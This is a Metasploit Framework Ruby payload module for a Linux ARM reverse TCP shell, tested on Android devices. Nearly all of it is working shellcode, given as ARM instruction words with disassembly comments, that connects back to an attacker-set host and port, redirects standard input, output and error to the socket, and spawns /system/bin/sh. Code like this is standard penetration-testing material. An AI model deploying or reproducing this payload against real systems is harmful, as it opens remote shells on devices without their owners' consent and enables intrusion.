##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'

module Metasploit3

	include Msf::Payload::Single
	include Msf::Payload::Linux
	include Msf::Sessions::CommandShellOptions

	def initialize(info = {})
		super(merge_info(info,
			'Name'          => 'Linux Command Shell, Reverse TCP Inline',
			'Version'       => '$Revision$',
			'Description'   => 'Connect back to attacker and spawn a command shell',
			'Author'        => 'civ',
			'License'       => MSF_LICENSE,
			'Platform'      => 'linux',
			'Arch'          => ARCH_ARMLE,
			'Handler'       => Msf::Handler::ReverseTcp,
			'Session'       => Msf::Sessions::CommandShellUnix,
			'Payload'       =>
				{
					'Offsets' =>
						{
							'LHOST'    => [ 172, 'ADDR' ],
							'LPORT'    => [ 170, 'n' ],
						},
					'Payload' =>
						[
							#### Tested successfully on:
							# Linux 2.6.29.6-cm42 armv6l
							# Linux 2.6.29.6-cyanogenmod armv6l
							# Linux version 2.6.25-00350-g40fff9a armv5l
							# Linux version 2.6.27-00110-g132305e armv5l
							# Linux version 2.6.29-00177-g24ee4d2 armv5l
							# Linux version 2.6.29-00255-g7ca5167 armv5l
							#
							# Probably requires process to have INTERNET permission
							# or root.
							####
							# socket(2,1,6)
							0xe3a00002,       # mov     r0, #2  ; 0x2
							0xe3a01001,       # mov     r1, #1  ; 0x1
							0xe2812005,       # add     r2, r1, #5      ; 0x5
							0xe3a0708c,       # mov     r7, #140        ; 0x8c
							0xe287708d,       # add     r7, r7, #141    ; 0x8d
							0xef000000,       # svc     0x00000000

							# connect(soc, socaddr, 0x10)
							0xe1a06000,       # mov     r6, r0
							0xe28f1084,       # 1dr     r1, pc, #132  ; 0x84
							0xe3a02010,       # mov     r2, #16 ; 0x10
							0xe3a0708d,       # mov     r7, #141        ; 0x8d
							0xe287708e,       # add     r7, r7, #142    ; 0x8e
							0xef000000,       # svc     0x00000000

							# dup2(soc,0) @stdin
							0xe1a00006,       # mov     r0, r6
							0xe3a01000,       # mov     r1, #0  ; 0x0
							0xe3a0703f,       # mov     r7, #63 ; 0x3f
							0xef000000,       # svc     0x00000000

							# dup2(soc,1) @stdout
							0xe1a00006,       # mov     r0, r6
							0xe3a01001,       # mov     r1, #1  ; 0x1
							0xe3a0703f,       # mov     r7, #63 ; 0x3f
							0xef000000,       # svc     0x00000000

							# dup2(soc,2) @stderr
							0xe1a00006,       # mov     r0, r6
							0xe3a01002,       # mov     r1, #2  ; 0x2
							0xe3a0703f,       # mov     r7, #63 ; 0x3f
							0xef000000,       # svc     0x00000000

							# execve("/system/bin/sh", args, env)
							# Shrink me here. I am lame.
							0xe28f0048,       # add     r0, pc, #72     ; 0x48
							0xe0244004,       # eor     r4, r4, r4
							0xe92d0010,       # push    {r4}
							0xe1a0200d,       # mov     r2, sp
							0xe92d0004,       # push    {r2}
							0xe1a0200d,       # mov     r2, sp
							0xe92d0010,       # push    {r4}
							0xe59f1048,       # ldr     r1, [pc, #72]   ; 8124 <env+0x8>
							0xe92d0002,       # push    {r1}
							0xe92d2000,       # push    {sp}
							0xe1a0100d,       # mov     r1, sp
							0xe92d0004,       # push    {r2}
							0xe1a0200d,       # mov     r2, sp
							0xe3a0700b,       # mov     r7, #11 ; 0xb
							0xef000000,       # svc     0x00000000

							# exit(0)
							0xe3a00000,       # mov     r0, #0  ; 0x0
							0xe3a07001,       # mov     r7, #1  ; 0x1
							0xef000000,       # svc     0x00000000

							# <af>:
							# port offset = 170, ip offset = 172
							0x04290002,       # .word   0x5c110002 @ port: 4444 , sin_fam = 2
							0x0101a8c0,       # .word   0x0101a8c0 @ ip: 192.168.1.1
							# <shell>:
							0x00000000,       # .word   0x00000000 ; the shell goes here!
							0x00000000,       # .word   0x00000000
							0x00000000,       # .word   0x00000000
							0x00000000,       # .word   0x00000000
							# <arg>:
							0x00000000        # .word   0x00000000 ; the args!

						].pack("V*")
				}
			))

		# Register command execution options
		register_options(
			[
				OptString.new('SHELL', [ true, "The shell to execute.", "/system/bin/sh" ]),
				OptString.new('SHELLARG', [ false, "The argument to pass to the shell.", "-C" ])
			], self.class)
	end

	def generate
		p = super

		sh = datastore['SHELL']
		if sh.length >= 16
			raise ArgumentError, "The specified shell must be less than 16 bytes."
		end
		p[176, sh.length] = sh

		arg = datastore['SHELLARG']
		if arg
			if arg.length >= 4
				raise ArgumentError, "The specified shell argument must be less than 4 bytes."
			end
			p[192, arg.length] = arg
		end

		p
	end

end